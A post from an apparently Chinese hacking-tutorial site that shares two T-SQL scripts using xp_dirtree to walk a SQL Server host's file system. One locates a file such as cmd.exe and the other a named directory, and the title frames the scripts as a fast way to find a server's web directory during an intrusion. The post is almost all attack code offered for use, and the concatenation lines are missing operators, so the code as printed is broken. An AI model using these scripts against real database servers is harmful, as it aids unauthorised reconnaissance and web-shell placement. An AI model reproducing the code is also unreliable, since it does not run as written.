首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 脚本攻防

xp_dirtree快速查找WEB目录SQL语句


http://www.gipsky.com/
代码源自《网络渗透技术》,由本人整理,并测试能过,高手再次飘过~~~~~~

查找文件的语句

drop table tmp;

create table tmp

(

[id] [int] IDENTITY (1,1) NOT NULL,

[name] [nvarchar] (300) NOT NULL,

[depth] [int] NOT NULL,

[isfile] [nvarchar] (50) NULL

);



declare @id int, @depth int, @root nvarchar(300), @name nvarchar(300)

set @root='d:\winnt\' -- Start root

set @name='cmd.exe' -- Find file

insert into tmp exec master..xp_dirtree @root,0,1--

set @id=(select top 1 id from tmp where isfile=1 and name=@name)

set @depth=(select top 1 depth from tmp where isfile=1 and name=@name)

while @depth<>1

begin

set @id=(select top 1 id from tmp where isfile=0 and id<@id and depth=(@depth-1) order by id desc)

set @depth=(select depth from tmp where id=@id)

set @name=(select name from tmp where id=@id) '\' @name

end

update tmp set name=@root @name where id=1

select name from tmp where id=1[/code]

查找目录的语句

[code]drop table tmp;

create table tmp

(

[id] [int] IDENTITY (1,1) NOT NULL,

[name] [nvarchar] (300) NOT NULL,

[depth] [int] NOT NULL

);



declare @id int, @depth int, @root nvarchar(300), @name nvarchar(300)

set @root='D:\winnt\' -- Start root

set @name='etc' -- directory to find

insert into tmp exec master..xp_dirtree @root,0,0

set @id=(select top 1 id from tmp where name=@name)

set @depth=(select top 1 depth from tmp where name=@name)

while @depth<>1

begin

set @id=(select top 1 id from tmp where id<@id and depth=(@depth-1) order by id desc)

set @depth=(select depth from tmp where id=@id)

set @name=(select name from tmp where id=@id) '\' @name

end update tmp set name=@root @name where id=1

select name from tmp where id=1
<< ADSL帐号被破解原理与防御 关于135端口问题和NTSCAN扫不出135原因分析 >>
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备14013333号-8